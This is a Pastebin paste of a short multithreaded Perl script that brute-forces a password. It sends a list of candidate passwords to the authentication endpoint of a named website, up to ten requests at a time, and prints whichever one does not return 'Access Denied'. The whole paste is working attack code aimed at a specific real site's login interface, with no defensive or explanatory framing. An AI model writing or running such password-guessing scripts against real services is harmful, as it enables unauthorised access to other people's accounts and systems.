Advertisement
Guest User

Untitled

a guest
Mar 17th, 2012
408
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.87 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use strict;
  3. use warnings;
  4. use threads;
  5. use Thread::Queue;
  6. #use threads::shared;
  7.  
  8. my @passes=qw(foo bar baz boo baa bum sim sala bim);
  9.  
  10. foreach my $pass(@passes){
  11.  do{} until threads->list(threads::running)<10;
  12.  my $thr = threads->create('doshit',($pass));
  13.  foreach(threads->list(threads::joinable)){
  14.   $_->join();
  15.  }
  16. }
  17. do{sleep 1}while(threads->list(threads::running)!=0);
  18.  
  19. sub doshit(){
  20.  my($pass)=@_;
  21.  #print 'Trying: ' . $pass . "\n";
  22.  use LWP::Simple;
  23.  my $raw = get 'http://www.projectprometheus.com/245409/interface.php?action=auth&p=' . $pass;
  24.  #print '--->' . $raw . "\n";
  25.  use JSON;
  26.  my $json = ();
  27.  eval{$json = JSON->new->utf8(1)->decode($raw)};
  28.  if(defined $json->{'message'}){
  29.   if($json->{'message'} eq 'Access Denied'){
  30.    #print 'FAIL: ' . $pass . "\n";
  31.   }else{
  32.    print 'SUCCESS: ' . $pass . "\n";
  33.    die;
  34.   }
  35.  }
  36. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement